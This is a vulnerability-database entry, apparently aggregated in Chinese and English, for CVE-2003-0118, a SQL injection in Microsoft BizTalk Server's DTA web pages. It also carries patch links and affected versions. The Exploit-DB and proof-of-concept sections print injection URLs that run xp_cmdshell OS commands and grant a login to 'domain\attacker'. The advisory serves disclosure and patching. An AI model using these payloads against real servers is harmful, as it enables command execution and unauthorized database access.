CVE-2003-0118
CVSS7.5
发布时间 :2003-05-12 00:00:00
修订时间 :2016-10-17 22:29:44
NMCOES    

[原文]SQL injection vulnerability in the Document Tracking and Administration (DTA) website of Microsoft BizTalk Server 2000 and 2002 allows remote attackers to execute operating system commands via a request to (1) rawdocdata.asp or (2) RawCustomSearchField.asp containing an embedded SQL statement.


[CNNVD]Microsoft BizTalk Server DTA接口SQL注入漏洞(MS03-016)(CNNVD-200305-024)

        
        Microsoft BizTalk Server是一款允许企业集成应用程序,交易伙伴,商务处理的企业综合性产品。BizTalk用于内部网环境在不同后台传输商务文档,并在外部网中可以与交易伙伴交换结构性消息。
        Microsoft BizTalk Server的DTA接口对用户提交的数据缺少充分过滤,远程攻击者可以利用这个漏洞注入畸形SQL命令,修改原SQL逻辑,导致信息泄露或数据库破坏。
        BizTalk Server提供通过文档跟踪和管理WEB接口来管理文档的功能,由于部分管理页对用户提交的参数缺少充分过滤,攻击者发送特殊构建的URL查询字符串给部分页面,可导致修改原来的SQL逻辑,使系统执行嵌入的恶意SQL命令,导致信息泄露或数据库破坏。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:biztalk_server:2000:sp2:developerMicrosoft Biztalk Server 2000 Service Pack 2 Developer
cpe:/a:microsoft:biztalk_server:2000::standard
cpe:/a:microsoft:biztalk_server:2000:sp1a:enterpriseMicrosoft Biztalk Server 2000 Enterprise Edition Service Pack 1a
cpe:/a:microsoft:biztalk_server:2000::enterprise
cpe:/a:microsoft:biztalk_server:2002::developer
cpe:/a:microsoft:biztalk_server:2002::enterprise
cpe:/a:microsoft:biztalk_server:2000:sp2:enterpriseMicrosoft Biztalk Server 2000 Enterprise Edition Service Pack 2
cpe:/a:microsoft:biztalk_server:2000:sp2:standardMicrosoft Biztalk Server 2000 Standard Edition Service Pack 2
cpe:/a:microsoft:biztalk_server:2000:sp1a:standardMicrosoft Biztalk Server 2000 Service Pack 1a Standard
cpe:/a:microsoft:biztalk_server:2000:sp1a:developerMicrosoft Biztalk Server 2000 Developer Edition Service Pack 1a
cpe:/a:microsoft:biztalk_server:2000::developer

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0118
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0118
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200305-024
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=105216839231951&w=2
(UNKNOWN)  BUGTRAQ  20030505 Microsoft Biztalk Server DTA vulnerable to SQL injection
http://www.microsoft.com/technet/security/bulletin/ms03-016.asp
(VENDOR_ADVISORY)  MS  MS03-016

- 漏洞信息

Microsoft BizTalk Server DTA接口SQL注入漏洞(MS03-016)
高危 输入验证
2003-05-12 00:00:00 2005-10-20 00:00:00
远程  
        
        Microsoft BizTalk Server是一款允许企业集成应用程序,交易伙伴,商务处理的企业综合性产品。BizTalk用于内部网环境在不同后台传输商务文档,并在外部网中可以与交易伙伴交换结构性消息。
        Microsoft BizTalk Server的DTA接口对用户提交的数据缺少充分过滤,远程攻击者可以利用这个漏洞注入畸形SQL命令,修改原SQL逻辑,导致信息泄露或数据库破坏。
        BizTalk Server提供通过文档跟踪和管理WEB接口来管理文档的功能,由于部分管理页对用户提交的参数缺少充分过滤,攻击者发送特殊构建的URL查询字符串给部分页面,可导致修改原来的SQL逻辑,使系统执行嵌入的恶意SQL命令,导致信息泄露或数据库破坏。
        

- 公告与补丁

        厂商补丁:
        Microsoft
        ---------
        Microsoft已经为此发布了一个安全公告(MS03-016)以及相应补丁:
        MS03-016:Cumulative Patch for BizTalk Server (815206)
        链接:
        http://www.microsoft.com/technet/security/bulletin/MS03-016.asp

        补丁下载:
        + Microsoft BizTalk Server 2000:
        
        http://microsoft.com/downloads/details.aspx?FamilyId=001E93E4-0E6E-4289-AEFE-9161D2E5AF97&displaylang=en

        + Microsoft BizTalk Server 2002:
        
        http://microsoft.com/downloads/details.aspx?FamilyId=A05344FE-2622-4887-AA45-3DE7C4ED3C75&displaylang=en

- 漏洞信息 (22554)

Microsoft BizTalk Server 2000/2002 DTA rawdocdata.asp SQL Injection Vulnerability (EDBID:22554)
asp webapps
2003-04-30 Verified
0 Cesar Cerrudo
N/A [点击下载]
source: http://www.securityfocus.com/bid/7470/info

A vulnerability has been reported for BizTalk Server which may make it possible for remote users to modify database query logic. The vulnerability exists in some of the pages used by the DTA interface.

This vulnerability may be the result of inadequate sanitization of user-supplied values for some parameters. A remote attacker may exploit this vulnerability by creating a malicious URL that includes specially crafted SQL queries to execute commands or compromise the database. 


http://server/biztalktracking/rawdocdata.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.xp_cmdshell 'any OS command'--

http://server/biztalktracking/rawdocdata.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.sp_grantlogin 'domain\attacker'--		

- 漏洞信息 (22555)

Microsoft BizTalk Server 2000/2002 DTA RawCustomSearchField.asp SQL Injection (EDBID:22555)
asp webapps
2003-04-30 Verified
0 Cesar Cerrudo
N/A [点击下载]
source: http://www.securityfocus.com/bid/7470/info
 
A vulnerability has been reported for BizTalk Server which may make it possible for remote users to modify database query logic. The vulnerability exists in some of the pages used by the DTA interface.
 
This vulnerability may be the result of inadequate sanitization of user-supplied values for some parameters. A remote attacker may exploit this vulnerability by creating a malicious URL that includes specially crafted SQL queries to execute commands or compromise the database. 

http://server/biztalktracking/RawCustomSearchField.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.xp_cmdshell 'any OS command'--

http://server/biztalktracking/RawCustomSearchField.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.sp_grantlogin 'domain\attacker'-- 		

- 漏洞信息

10103
Microsoft BizTalk Server DTA rawdocdata.asp SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity

- 漏洞描述

- 时间线

2003-04-30 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Microsoft BizTalk Server DTA Interface SQL Injection Vulnerability
Input Validation Error 7470
Yes No
2003-04-30 12:00:00 2009-07-11 09:07:00
Discovery credited to Cesar Cerrudo.

- 受影响的程序版本

Microsoft BizTalk Server 2002 Enterprise Edition
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Server SP2
- Microsoft Windows XP Professional
Microsoft BizTalk Server 2002 Developer Edition
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
Microsoft BizTalk Server 2000 Standard Edition SP2
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
Microsoft BizTalk Server 2000 Standard Edition SP1a
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
Microsoft BizTalk Server 2000 Standard Edition
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
Microsoft BizTalk Server 2000 Enterprise Edition SP2
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
Microsoft BizTalk Server 2000 Enterprise Edition SP1a
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
Microsoft BizTalk Server 2000 Enterprise Edition
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
Microsoft BizTalk Server 2000 Developer Edition SP2
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
Microsoft BizTalk Server 2000 Developer Edition SP1a
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
Microsoft BizTalk Server 2000 Developer Edition
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1

- 漏洞讨论

A vulnerability has been reported for BizTalk Server which may make it possible for remote users to modify database query logic. The vulnerability exists in some of the pages used by the DTA interface.

This vulnerability may be the result of inadequate sanitization of user-supplied values for some parameters. A remote attacker may exploit this vulnerability by creating a malicious URL that includes specially crafted SQL queries to execute commands or compromise the database.

- 漏洞利用

The following proof of concept was submitted:
http://server/biztalktracking/rawdocdata.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.xp_cmdshell 'any OS command'--

http://server/biztalktracking/RawCustomSearchField.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.xp_cmdshell 'any OS command'--

http://server/biztalktracking/rawdocdata.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.sp_grantlogin 'domain\attacker'--

http://server/biztalktracking/RawCustomSearchField.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.sp_grantlogin 'domain\attacker'--

- 解决方案

Microsoft has released patches to address this issue:


Microsoft BizTalk Server 2000 Developer Edition

Microsoft BizTalk Server 2000 Developer Edition SP1a

Microsoft BizTalk Server 2000 Enterprise Edition SP1a

Microsoft BizTalk Server 2000 Standard Edition SP2

Microsoft BizTalk Server 2002 Developer Edition

Microsoft BizTalk Server 2000 Enterprise Edition SP2

Microsoft BizTalk Server 2000 Enterprise Edition

Microsoft BizTalk Server 2000 Developer Edition SP2

Microsoft BizTalk Server 2002 Enterprise Edition

Microsoft BizTalk Server 2000 Standard Edition SP1a

Microsoft BizTalk Server 2000 Standard Edition

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站